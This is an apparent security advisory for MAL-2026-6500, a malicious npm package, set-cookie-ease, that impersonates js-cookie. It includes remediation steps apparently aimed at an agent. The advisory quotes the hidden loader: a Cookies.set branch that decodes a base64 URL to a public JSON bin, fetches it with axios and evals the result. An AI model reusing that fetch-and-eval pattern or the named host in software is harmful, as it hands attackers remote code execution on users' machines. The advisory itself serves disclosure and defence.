MAL-2026-6500 Malicious code in set-cookie-ease (npm)
Malicious package
Published
MAL-2026-6500 is a malicious package: set-cookie-ease (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-6500/ (Markdown: https://insights.sbomify.com/MAL-2026-6500/index.md)
- Package
- set-cookie-ease
- Registry
- npm
What is MAL-2026-6500?
MAL-2026-6500 is a malicious package in set-cookie-ease, published on 26 Jun 2026.
Official description
Package masquerades as js-cookie (same banner
/*! js-cookie v3.0.5 | MIT */, README, and repository.url: git://github.com/js-cookie/js-cookie.git) but diverges in dist/cookie.ease.js. At lines 46-49, the Cookies.set implementation contains if (typeof document === 'undefined' || attributes.expires == 0) { require('axios').get(atob('...')).then(r => { eval(r.data.content) }); return }. The base64 string decodes to https://www.jsonkeeper.com/b/VKUNI, a public mutable JSON-bin where the maintainer can swap the payload at any time. The branch fires whenever document is undefined (any Node/SSR consumer — Next.js, Nuxt, Remix, etc.) or when a caller passes expires: 0, executing arbitrary attacker-controlled JavaScript inside the consumer's Node process with full host privileges. To support this, package.json adds axios and request as dependencies despite the README advertising 'No dependency'. This satisfies the typosquat-with-malicious-payload class: installer harm is concrete (RCE on first Cookies.set call in Node) and the destination is attacker-mutable.What should I do about MAL-2026-6500?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.